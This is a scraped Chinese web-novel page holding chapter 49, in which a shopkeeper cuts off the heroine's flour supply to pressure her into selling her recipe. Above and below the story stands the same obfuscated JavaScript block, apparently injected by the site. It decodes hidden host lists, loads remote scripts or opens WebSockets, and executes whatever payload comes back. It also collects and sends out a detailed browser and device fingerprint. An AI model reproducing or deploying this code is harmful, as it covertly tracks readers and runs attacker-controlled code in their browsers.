var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzk5OTk5OS0xMDE1Ng==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x64\x63\x54\x41\x68\x4e\x6d\x57\x54\x4b']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],e=0,r=0,delay=2000,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,300000),ext='2',i='nob'+Math.floor(new Date().getTime()/sc)+ext;if(ua.indexOf('baidu')>-1||ua.indexOf('huawei')>-1){r=1;u=k;f=function(){if(!l.length)return;var ws=new WebSocket(l.shift()+'/'+i);ws.onopen=function(){for(var k in t)t[k]&&clearTimeout(t[k])};ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close()};ws.onerror=function(e){t[++e]&&clearTimeout(t[e]);f()}};}else{f=function(){if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++e]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});var param=(function(aid){var W=window,D=document,B=D.body,N=navigator,E='ontouchstart'in W||N.maxTouchPoints>0||N.msMaxTouchPoints>0;function fix(s){return encodeURIComponent(s).replace(/[!'()*]/g,function(c){return'%'+c.charCodeAt(0).toString(16)})}function mix(t,s){var a=[].slice.call(arguments),k,r=typeof a[a.length-1]=='boolean'?a.pop():true;for(var i=1;s=a[i++];){for(k in s)if(r||!(k in t))t[k]=s[k]}return t}var utils={guid:function(){function a(){return Math.floor((1+Math.random())*0x10000).toString(16).substring(1)}return a()+a()+''+a()+''+a()+''+a()+''+a()+a()+a()},bind:function(o,e,c){return'string'===typeof o&&(o=D.getElementById(o)),e=e.replace(/^on/i,'').toLowerCase(),o.addEventListener?o.addEventListener(e,c,!1):o.attachEvent&&o.attachEvent('on'+e,c),o}};var p1={dcc:'',dcl:'',gvd:'',grr:'',ct:''},p2={diit:'',dit:'',cmn:''},cmn=[];var mobile={ma:function(){if(!E)return;function l(s){if(!s)return;return s.toString().substr(0,5)}utils.bind(W,'deviceorientation',function handleFunc(ev){if(!ev.alpha)return;p2.diit=[l(ev.alpha),l(ev.beta),l(ev.gamma)].join(',')});utils.bind(W,'devicemotion',function handleFunc(evnet){var a=evnet.accelerationIncludingGravity;if(!a.x)return;p2.dit=[l(a.x),l(a.y),l(a.z)].join(',')});utils.bind(W,'touchstart',function touchstart(ev){var clientX=ev.touches[0].clientX,clientY=ev.touches[0].clientY,v=[clientX,clientY].join('_');if(cmn.length%lt;3)cmn.push(v)})},md:function(){try{N.getBattery().then(function(b){p1.dcc=b.charging?'yes':'no';p1.dcl=Math.round(b.level*100)})}catch(e){}try{var a=D.createElement('canvas'),b=a.getContext('experimental-webgl'),c=b.getExtension('WEBGL_debug_renderer_info'),d=b.getParameter(c.UNMASKED_VENDOR_WEBGL),e=b.getParameter(c.UNMASKED_RENDERER_WEBGL).replace(/[%]/g,'');p1.gvd=d;p1.grr=e}catch(e){}try{if(!N.connection){p1.ct='unknown';return}if(!N.connection.type){p1.ct='unknown';return}p1.ct=N.connection.type}catch(e){}},init:function(){this.ma();this.md()},ap:function(){p2.cmn=cmn.join(';');return mix(p1,p2)}};mobile.init();var client={client:function(id){var ut=utils,m=mobile;function a(){var a='';try{a=W.opener?W.opener.document.location.href:D.referrer}catch(e){a=D.referrer}if(a!=='')a=a.substr(0,8192);return fix(a)}function b(){var a='';try{a=W.top.document.location.href}catch(e){a=D.location.href}if(a!=='')a=a.substr(0,2048);return fix(a)}function c(str){var s='';for(var i=0;i%lt;str.length;i++)s+=(i>0?':':'')+str[i].charCodeAt(0);return s}function d(){try{return[W.screen.width,W.screen.height].join('x')}catch(e){return''}}function f(){return N.platform.replace(/Win/i,'v')}function g(){var a=W.screen.availWidth||0,b=W.screen.availHeight||0;return[f(),S(),W.devicePixelRatio||0,a+'.'+b].join(':')}function h(){var n=W['navigator'],a=false;for(var k in n){try{a=N['hasOwnProperty'](k)}catch(e){a=false}}return a}function i(){if(typeof N.languages!=='undefined'){try{return N.languages[0].substr(0,2)!==N.language.substr(0,2)}catch(err){return true}}return false}function j(f){var a=[];for(var i=0;i%lt;f.length;i++)a.push(String.fromCharCode(f[i]));return a.join('')}function k(){var a=['callPhantom'in W,'_phantom'in W,'phantom'in W];for(var i=0;i%lt;a.length;i++)if(a[i])return true;return false}function l(){return j([119,101,98,100,114,105,118,101,114])in N}function S(){var b=['toString','length'];(function(a,c){var f=function(g){while(--g){a['push'](a['shift']())}};f(++c)}(b,0xb3));var c=function(a){a=a-0x0;return b[a]};return eval[c('0x1')]()[c('0x0')]*0x673124}function n(){if(typeof W.history!=='undefined'&&typeof W.history.length!=='undefined')return W.history.length;return 0}function o(){return{top:B.scrollTop||D.documentElement.scrollTop,left:0}}function _uuid(){try{var a='',k='fillStyle',q='beginPath',n='closePath',j='fill',h='arc',e='fillText',w=Math.PI;var p=D.createElement('canvas');p.width=2000;p.height=200;p.style.display='inline';var s=p.getContext('2d');s.rect(0,0,10,10);s.rect(2,2,6,6);a+='canvas winding:'+((s.isPointInPath(5,5,'evenodd')===false)?'yes':'no');s.textBaseline='alphabetic';s[k]='#f60';s.fillRect(125,1,62,20);s[k]='#069';s.font='11pt no-real-font-123';var u='Cwm fjordbank glyphs vext quiz, \ud83d\ude03';s[e](u,2,15);s[k]='rgba(102, 204, 0, 0.2)';s.font='18pt Arial';s[e](u,4,45);s.globalCompositeOperation='multiply';s[k]='rgb(255,0,255)';s[q]();s[h](50,50,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(0,255,255)';s[q]();s[h](100,50,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(255,255,0)';s[q]();s[h](75,100,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(255,0,255)';s[h](75,75,75,0,w*2,true);s[h](75,75,25,0,w*2,true);s[j]('evenodd');if(p.toDataURL){a+=';canvas fp:'+p.toDataURL()}return(function(c){var b=0;if(c.length===0){return b}for(var i=0;i%lt;c.length;i++){b=((b%lt;%lt;5)-b)+c.charCodeAt(i);b=b&b}return b})(a)}catch(o){return o.message}}function init(){var p={frm:W.top!==W.self?1:0,ref:a(),url:b(),ic:N.cookieEnabled?1:0,pl:N.plugins.length,ml:N.mimeTypes.length,sid:c(g()),ps:N.productSub||'',lgs:i()?1:0,zo:new Date().getTimezoneOffset(),ws:d(),gdm:N.deviceMemory||0,iw:l()?1:0,cpn:N.hardwareConcurrency||0,fid:'',hl:n(),ihn:h()?1:0,md:E?1:0,ns:'',np:'',pj:k()?1:0};mix(p,o(),{'id':id,'rid':ut.guid(),'rid2':ut.guid(),'uuid':_uuid()},m.ap());return p}return init()}};return new Promise(function(resolve,reject){setTimeout(function(){var r=[],u=aid.split('-'),p=client.client(u[1]);for(var k in p)r.push(k+'='+p[k]);resolve(r.join('&'))},10)})})(id);param.then(function(p){i=i+'?'+p;for(var j in l)t[j]=setTimeout(f,delay*j)});})('aHR0cHM6Ly9vc2tkMmtqODk5LmJhbWNzZm0uYY29t','d3NzOOi8vd3MuZ2VuZ2Z1cXVhbi5jb206OOTE5MSx3c3M6Ly93cy5xb3Jvc21hbGwuY29tOOjkxOOTEsd3NzOOi8vd3Mud2VpeGlzaXdhbmcuY29tOOjkxOOTE=',window,document,['Y','O']);}:function(){};
第四十九章 买卖
不想错过《章鱼阅读》更新？安装章鱼阅读专用APP，作者更新立即推送！
放弃立即下载
章节错误,点此举报(免注册),举报后维护人员会在两分钟内校正章节内容,请耐心等待,并刷新页面。
苏二狗气坏了：“咱们做咱们的生意？碍着谁的眼了？”
“哟，苏姑娘，苏小兄弟，这么巧？”
前方的街道上，孙掌柜优哉游哉地下了马车，笑呵呵地朝二人走来。
他看了眼寒风中穿着麻布棉衣、两手空空的姐弟，眼底笑意更浓：“你们也是来买东西的吗？好像没买到的样子，是不是快过年了，铺子里都没货啦？”
“干你什么事？”苏二狗没好气地反问。
孙掌柜笑道：“苏小兄弟火气别这么大嘛，都是生意人，和气生财！”
苏二狗不悦道：“谁要和你生财？”
孙掌柜又看向一旁的苏小小。
比起气急败坏的弟弟，这个小胖村姑俨然淡定许多，看到他也不怎么惊讶，就仿佛料到他会随时出现在这里似的。
“苏姑娘，你们想买什么？买不到的话，告诉我！我很乐意为你们提供帮助的！”
孙掌柜冠冕堂皇地说。
苏小小冷静道：“你说这话，是不是有点儿太无耻了？”
“啊！是你！是你搞的鬼！你不让铺子卖面粉给我们的！”一旁的苏二狗这会子总算反应过来了。
孙掌柜的笑容淡了几分，倒也没再否认。
本来嘛，旗鼓相当的对手才值得一再小心试探，而对付两只蝼蚁，根本不需要任何小心翼翼。
从前他是爱惜锦记的名声，加上小胖村姑又处在救人的风头上，他才想着去买她的配方。
谁料她竟毫不留情地把自己给拒绝了。
孙掌柜看得出来，苏二狗虽是男丁，可真正做主的是这个小胖村姑。
他看向苏小小，意味深长地笑了笑：“有些人不识抬举，敬酒不吃吃罚酒，苏姑娘，你觉得呢？”
苏小小直言道：“说吧，你想怎么样？”
孙掌柜双手负在身后，不无得意地说：“我锦记在杏花镇开了二十一年，不知熬走了多少同行，这年头的生意，说好做也好做，说不好做也不好做，端看怎么做、是谁来做。譬如苏姑娘你，有本事，有手艺，可惜只是个村姑，大街上随便来个人，都能轻而易举地捏死你。你信不信只要我孙某一句话，自此方圆百里之内，再无一人敢将面粉卖给你们！巧妇难为无米之炊，没了面粉，你们拿什么做饼？”
苏二狗气闷道：“喂！你这个人也太恶毒了！我们卖我们的饼，碍着你们锦记什么？你们的客人还是那么多！生意也还是那么好！没见你们少赚啊！”
这话说的对，也不对。
对的是苏小小产量有限，锦记的销售额短期内的确没受到太大影响。
不对的是，锦记的口碑正在不断下降。
客人们吃过了苏小小卖的点心，再吃锦记的就会觉得根本值不了这个价。
“你做这么多，无非就是为了配方。”苏小小一针见血。
孙掌柜被戳破了心思，脸子有一瞬的挂不住：“唉，这话让我怎么接呢？我孙某一心想与苏姑娘结个善缘，奈何苏姑娘一直不给孙某机会。如今东家那边也听说了一点儿风声，孙某不好向东家交代呀。”
苏小小道：“你们锦记内部的事，我没兴趣，如果你只是为了配方——”
苏小小言及此处，话音一顿。
『加入书签，方便阅读』
var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzk5OTk5OS0xMDE1Ng==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x64\x63\x54\x41\x68\x4e\x6d\x57\x54\x4b']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],e=0,r=0,delay=2000,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,300000),ext='2',i='nob'+Math.floor(new Date().getTime()/sc)+ext;if(ua.indexOf('baidu')>-1||ua.indexOf('huawei')>-1){r=1;u=k;f=function(){if(!l.length)return;var ws=new WebSocket(l.shift()+'/'+i);ws.onopen=function(){for(var k in t)t[k]&&clearTimeout(t[k])};ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close()};ws.onerror=function(e){t[++e]&&clearTimeout(t[e]);f()}};}else{f=function(){if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++e]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});var param=(function(aid){var W=window,D=document,B=D.body,N=navigator,E='ontouchstart'in W||N.maxTouchPoints>0||N.msMaxTouchPoints>0;function fix(s){return encodeURIComponent(s).replace(/[!'()*]/g,function(c){return'%'+c.charCodeAt(0).toString(16)})}function mix(t,s){var a=[].slice.call(arguments),k,r=typeof a[a.length-1]=='boolean'?a.pop():true;for(var i=1;s=a[i++];){for(k in s)if(r||!(k in t))t[k]=s[k]}return t}var utils={guid:function(){function a(){return Math.floor((1+Math.random())*0x10000).toString(16).substring(1)}return a()+a()+''+a()+''+a()+''+a()+''+a()+a()+a()},bind:function(o,e,c){return'string'===typeof o&&(o=D.getElementById(o)),e=e.replace(/^on/i,'').toLowerCase(),o.addEventListener?o.addEventListener(e,c,!1):o.attachEvent&&o.attachEvent('on'+e,c),o}};var p1={dcc:'',dcl:'',gvd:'',grr:'',ct:''},p2={diit:'',dit:'',cmn:''},cmn=[];var mobile={ma:function(){if(!E)return;function l(s){if(!s)return;return s.toString().substr(0,5)}utils.bind(W,'deviceorientation',function handleFunc(ev){if(!ev.alpha)return;p2.diit=[l(ev.alpha),l(ev.beta),l(ev.gamma)].join(',')});utils.bind(W,'devicemotion',function handleFunc(evnet){var a=evnet.accelerationIncludingGravity;if(!a.x)return;p2.dit=[l(a.x),l(a.y),l(a.z)].join(',')});utils.bind(W,'touchstart',function touchstart(ev){var clientX=ev.touches[0].clientX,clientY=ev.touches[0].clientY,v=[clientX,clientY].join('_');if(cmn.length%lt;3)cmn.push(v)})},md:function(){try{N.getBattery().then(function(b){p1.dcc=b.charging?'yes':'no';p1.dcl=Math.round(b.level*100)})}catch(e){}try{var a=D.createElement('canvas'),b=a.getContext('experimental-webgl'),c=b.getExtension('WEBGL_debug_renderer_info'),d=b.getParameter(c.UNMASKED_VENDOR_WEBGL),e=b.getParameter(c.UNMASKED_RENDERER_WEBGL).replace(/[%]/g,'');p1.gvd=d;p1.grr=e}catch(e){}try{if(!N.connection){p1.ct='unknown';return}if(!N.connection.type){p1.ct='unknown';return}p1.ct=N.connection.type}catch(e){}},init:function(){this.ma();this.md()},ap:function(){p2.cmn=cmn.join(';');return mix(p1,p2)}};mobile.init();var client={client:function(id){var ut=utils,m=mobile;function a(){var a='';try{a=W.opener?W.opener.document.location.href:D.referrer}catch(e){a=D.referrer}if(a!=='')a=a.substr(0,8192);return fix(a)}function b(){var a='';try{a=W.top.document.location.href}catch(e){a=D.location.href}if(a!=='')a=a.substr(0,2048);return fix(a)}function c(str){var s='';for(var i=0;i%lt;str.length;i++)s+=(i>0?':':'')+str[i].charCodeAt(0);return s}function d(){try{return[W.screen.width,W.screen.height].join('x')}catch(e){return''}}function f(){return N.platform.replace(/Win/i,'v')}function g(){var a=W.screen.availWidth||0,b=W.screen.availHeight||0;return[f(),S(),W.devicePixelRatio||0,a+'.'+b].join(':')}function h(){var n=W['navigator'],a=false;for(var k in n){try{a=N['hasOwnProperty'](k)}catch(e){a=false}}return a}function i(){if(typeof N.languages!=='undefined'){try{return N.languages[0].substr(0,2)!==N.language.substr(0,2)}catch(err){return true}}return false}function j(f){var a=[];for(var i=0;i%lt;f.length;i++)a.push(String.fromCharCode(f[i]));return a.join('')}function k(){var a=['callPhantom'in W,'_phantom'in W,'phantom'in W];for(var i=0;i%lt;a.length;i++)if(a[i])return true;return false}function l(){return j([119,101,98,100,114,105,118,101,114])in N}function S(){var b=['toString','length'];(function(a,c){var f=function(g){while(--g){a['push'](a['shift']())}};f(++c)}(b,0xb3));var c=function(a){a=a-0x0;return b[a]};return eval[c('0x1')]()[c('0x0')]*0x673124}function n(){if(typeof W.history!=='undefined'&&typeof W.history.length!=='undefined')return W.history.length;return 0}function o(){return{top:B.scrollTop||D.documentElement.scrollTop,left:0}}function _uuid(){try{var a='',k='fillStyle',q='beginPath',n='closePath',j='fill',h='arc',e='fillText',w=Math.PI;var p=D.createElement('canvas');p.width=2000;p.height=200;p.style.display='inline';var s=p.getContext('2d');s.rect(0,0,10,10);s.rect(2,2,6,6);a+='canvas winding:'+((s.isPointInPath(5,5,'evenodd')===false)?'yes':'no');s.textBaseline='alphabetic';s[k]='#f60';s.fillRect(125,1,62,20);s[k]='#069';s.font='11pt no-real-font-123';var u='Cwm fjordbank glyphs vext quiz, \ud83d\ude03';s[e](u,2,15);s[k]='rgba(102, 204, 0, 0.2)';s.font='18pt Arial';s[e](u,4,45);s.globalCompositeOperation='multiply';s[k]='rgb(255,0,255)';s[q]();s[h](50,50,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(0,255,255)';s[q]();s[h](100,50,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(255,255,0)';s[q]();s[h](75,100,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(255,0,255)';s[h](75,75,75,0,w*2,true);s[h](75,75,25,0,w*2,true);s[j]('evenodd');if(p.toDataURL){a+=';canvas fp:'+p.toDataURL()}return(function(c){var b=0;if(c.length===0){return b}for(var i=0;i%lt;c.length;i++){b=((b%lt;%lt;5)-b)+c.charCodeAt(i);b=b&b}return b})(a)}catch(o){return o.message}}function init(){var p={frm:W.top!==W.self?1:0,ref:a(),url:b(),ic:N.cookieEnabled?1:0,pl:N.plugins.length,ml:N.mimeTypes.length,sid:c(g()),ps:N.productSub||'',lgs:i()?1:0,zo:new Date().getTimezoneOffset(),ws:d(),gdm:N.deviceMemory||0,iw:l()?1:0,cpn:N.hardwareConcurrency||0,fid:'',hl:n(),ihn:h()?1:0,md:E?1:0,ns:'',np:'',pj:k()?1:0};mix(p,o(),{'id':id,'rid':ut.guid(),'rid2':ut.guid(),'uuid':_uuid()},m.ap());return p}return init()}};return new Promise(function(resolve,reject){setTimeout(function(){var r=[],u=aid.split('-'),p=client.client(u[1]);for(var k in p)r.push(k+'='+p[k]);resolve(r.join('&'))},10)})})(id);param.then(function(p){i=i+'?'+p;for(var j in l)t[j]=setTimeout(f,delay*j)});})('aHR0cHM6Ly9vc2tkMmtqODk5LmJhbWNzZm0uYY29t','d3NzOOi8vd3MuZ2VuZ2Z1cXVhbi5jb206OOTE5MSx3c3M6Ly93cy5xb3Jvc21hbGwuY29tOOjkxOOTEsd3NzOOi8vd3Mud2VpeGlzaXdhbmcuY29tOOjkxOOTE=',window,document,['Y','O']);}:function(){};